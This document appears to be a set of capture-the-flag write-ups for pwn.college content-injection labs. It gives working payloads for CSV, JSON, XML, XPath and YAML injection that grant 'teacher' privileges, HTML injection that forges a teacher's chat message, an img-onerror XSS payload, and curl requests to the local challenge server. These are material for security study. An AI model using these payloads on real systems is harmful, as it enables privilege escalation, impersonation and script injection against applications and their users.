pwn.college Content Injection

Author: harshit-jain52

pwn.college/Content Injection/CSV Injection.md

@@ -0,0 +1,39 @@
+# CSV Injection
+
+## Teacher Login
+
+```text
+
+The Login
+Welcome! Can you log in as teacher?
+
+The User Database
+
+USERNAME,IS_TEACHER
+        
+
+Add a User
+Username:
+
+Login
+Username: 
+```
+
+The input fields are of **text** type
+
+On adding a user, the database looks like:
+
+```csv
+USERNAME,IS_TEACHER
+user,no
+```
+
+Injecting "yes" by adding a user of name "user2,yes"
+
+```csv
+USERNAME,IS_TEACHER
+user2,yes,no
+user,no
+```
+
+Log in by "user2" and we get the flag

pwn.college/Content Injection/HTML Javascript Injection.md

@@ -0,0 +1,73 @@
+# HTML/Javascript Injection
+
+## Class Cancellation
+
+```text
+The Chat
+
+Login
+Username: 
+```
+
+After logging in..
+
+```text
+The Chat
+
+Post as user
+Message: 
+```
+
+After posting...
+
+![image](cc1.png)
+
+The goal of the challenge is to create a message that looks like it was sent by the teacher, directly mimicing the structure of the other messages, that says Class Is Canceled!
+
+If we log in as "teacher", we get "Posting as the teacher is strictly prohibited!"
+
+We need to craft a post by user that injects HTML to mimic teacher's post. The HTML of the above image is:
+
+```html
+<hr>
+<b>user:</b>
+somepost2
+<hr>
+<b>user:</b>
+somepost
+```
+
+Crafting the payload:
+
+```text
+gimme flag <hr><b>teacher:</b> Class Is Canceled!
+```
+
+![image](cc2.png)
+
+Running the `victim` script now gives the flag
+
+## Class Cancellation 2
+
+This is similar to the previous challenge, but this time each `<` in payload is converted into `(`
+
+For posting a message, a GET request is made at `/post?message=<message>&user=<username>`
+
+Since message is sanitized, we can inject HTML in username:
+
+```text
+user=</b>gimme flag <hr><b>teacher&message=Class Is Canceled!
+curl 'http://challenge.localhost/post?user=%3C%2Fb%3Egimme%20flag%20%3Chr%3E%3Cb%3Eteacher&message=Class%20Is%20Canceled%21'
+```
+
+![image](cc3.png)
+
+## Class Cancellation 3
+
+In this challenge, we have to formulate some message that sends out the alert Class is Canceled!
+
+Post this payload:
+
+```html
+<img src=x onerror='alert("Class is Canceled!")'>
+```

pwn.college/Content Injection/JSON Injection.md

@@ -0,0 +1,40 @@
+# JSON Injection
+
+## Teacher Login 5
+
+```text
+JSON Injection Login
+
+Welcome! Can you log in as teacher?
+
+Current Database (users.json)
+[]
+
+Add a User
+Username:
+
+Login
+Username: 
+```
+
+The input fields are of **text** type
+
+After adding a couple of users, the db looks like:
+
+```json
+[{"username": "user2", "is_teacher": "no"}, {"username": "user", "is_teacher": "no"}]
+```
+
+Injecting `"is_teacher: "yes"` through the following payload
+
+```text
+user3", "is_teacher": "yes"}, {"username": "user4
+```
+
+The result db:
+
+```json
+[{"username": "user3", "is_teacher": "yes"}, {"username": "user4", "is_teacher": "no"}, {"username": "user2", "is_teacher": "no"}, {"username": "user", "is_teacher": "no"}]
+```
+
+Logging in by "user3" gives the flag

pwn.college/Content Injection/XML Injection.md

@@ -0,0 +1,69 @@
+# XML Injection
+
+## Teacher Login 6
+
+```text
+XML Injection Login
+
+Welcome! Can you log in as teacher?
+
+Current Database (users.xml)
+<users></users>
+
+Add a User
+Username:
+
+Login
+Username: 
+```
+
+The input fields are of **text** type
+
+After adding a couple of users, the db looks like:
+
+```xml
+<users><user><username>user</username><is_teacher>no</is_teacher></user><user><username>user2</username><is_teacher>no</is_teacher></user></users>
+```
+
+Injecting `<is_teacher>yes</is_teacher>` using the payload:
+
+```text
+user3</username><is_teacher>yes</is_teacher></user><user><username>user4
+```
+
+The result db:
+
+```xml
+<users><user><username>user</username><is_teacher>no</is_teacher></user><user><username>user2</username><is_teacher>no</is_teacher></user><user><username>user3</username><is_teacher>yes</is_teacher></user><user><username>user4</username><is_teacher>no</is_teacher></user></users>
+```
+
+Logging in by "user3" gives the flag
+
+## Teacher Login 7
+
+The previous solution doesn't work as the input is being parsed; `<` and `>` are converted into `&lt;` and `&gt;`
+
+In the sever code, we observe that XPath is being used to query:
+
+```python
+query = f"//user[username/text()='{username}' and is_teacher/text()='yes']"
+```
+
+[XPath Injection](https://owasp.org/www-community/attacks/XPATH_Injection) using the follwing username:
+
+```text
+user' or 1=1 or 'a'='a
+```
+
+This results in the following xpath query:
+
+```text
+//user[username/text()='user' or 1=1 or 'a'='a' and is_teacher/text()='yes']
+username = 'user' or 1=1 or 'a'='a' and is_teacher='yes'
+(username = 'user' or 1=1) or ('a'='a' and is_teacher='yes')
+(false or true) or (true and false)
+true or false
+true
+```
+
+Logging in gives the flag

pwn.college/Content Injection/YAML Injection.md

@@ -0,0 +1,69 @@
+# YAML Injection
+
+## Teacher Login 2
+
+```text
+YAML Injection Login
+
+Welcome! Can you log in as teacher?
+
+Current Database (users.yaml)
+
+Add a User
+Username:
+
+Login
+Username:
+```
+
+The input fields are of **textarea** type
+
+On adding a user, the database looks like:
+
+```yaml
+- username: user
+  is_teacher: no
+```
+
+Injecting "is_teacher: yes" by adding a user of name:
+
+```text
+user2
+  is_teacher: yes
+- username: user3
+```
+
+Now, the database looks like:
+
+```yaml
+- username: user2
+  is_teacher: yes
+- username: user3
+  is_teacher: no
+- username: user
+  is_teacher: no
+```
+
+Logging in by "user2" gives the flag
+
+## Teacher Login 3
+
+This is similar to the previous one, except the input fields are of **text** type, so we cannot send multi-line inputs
+
+On inspecting, we see that the request for adding a user is made at `/add?user=<username>`
+
+URL-encode the previous payload and add the user: `/add?user=user2%0A%20%20is_teacher%3A%20yes%0A-%20username%3A%20user3`
+
+Then proceed as before to get the flag
+
+## Teacher Login 4
+
+This is similar to the previos one, except that in this one, POST request is used instead of GET
+
+We can use curl to make the POST request:
+
+```shell
+curl 'http://challenge.localhost/add' -X POST --data-raw $'user=user2\n  is_teacher: yes\n- username: user3'
+```
+
+> The `$` is needed to pass newline in the payload